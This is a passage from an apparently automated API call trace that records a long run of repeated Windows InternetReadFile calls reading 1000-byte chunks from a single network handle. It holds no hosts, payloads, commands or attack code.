(in: hFile=0xcc000c, lpBuffer=0x25ee668, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee668*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eea50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eea50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eee38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eee38*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef220, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef220*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef608, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef608*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef9f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef9f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25efdd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25efdd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f01c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f01c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f05a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f05a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0990, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0990*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0d78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0d78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1160, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1160*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1548, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1548*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1930, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1930*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1d18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1d18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2100, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2100*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f24e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f24e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f28d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f28d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2cb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2cb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f30a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f30a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3488, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3488*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3870, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3870*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3c58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3c58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4040, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4040*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4428, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4428*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4810, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4810*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4bf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4bf8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4fe0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4fe0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f53c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f53c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260bfb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260bfb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260c3a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260c3a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260c788, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260c788*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260cb70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260cb70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260cf58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260cf58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260d340, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260d340*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260d728, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260d728*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260db10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260db10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260def8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260def8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260e2e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260e2e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260e6c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260e6c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260eab0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260eab0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260ee98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260ee98*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260f280, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260f280*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260f668, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260f668*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.794] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260fa50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260fa50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.798] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260fe38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260fe38*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2610220, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2610220*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2610608, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2610608*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26109f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26109f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2610dd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2610dd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26111c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26111c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.800] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26115a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26115a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.801] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2611990, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2611990*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.801] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2611d78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2611d78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.801] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2612160, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2612160*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.801] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2612548, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2612548*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.801] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2612930, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2612930*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.805] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2612d18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2612d18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.805] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2613100, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2613100*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.805] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25edcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25edcd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee0c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee4a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee890*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eec78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef060*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef448*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef830*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25efc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25efc18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0000*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f03e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f03e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f07d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f07d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0bb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0fa0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.808] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1388*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.808] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1770*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.808] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1b58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1b58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.808] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1f40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1f40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.808] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2328, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2328*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.808] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2710, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2710*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2af8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2af8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2ee0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2ee0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f32c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f32c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f36b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f36b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3a98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3a98*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3e80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3e80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4268, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4268*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4650, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4650*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4a38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4a38*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4e20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4e20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f5208, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f5208*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.811] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261ae00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261ae00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261b1e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261b1e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261b5d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261b5d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261b9b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261b9b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261bda0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261bda0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261c188, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261c188*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261c570, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261c570*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261c958, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261c958*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261cd40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261cd40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261d128, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261d128*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261d510, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261d510*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261d8f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261d8f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261dce0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261dce0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.814] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261e0c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261e0c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261e4b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261e4b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261e898, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261e898*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261ec80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261ec80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261f068, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261f068*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261f450, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261f450*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261f838, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261f838*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x261fc20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x261fc20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2620008, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2620008*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26203f0, dwNumberOfBytesToRead=0x3e8, 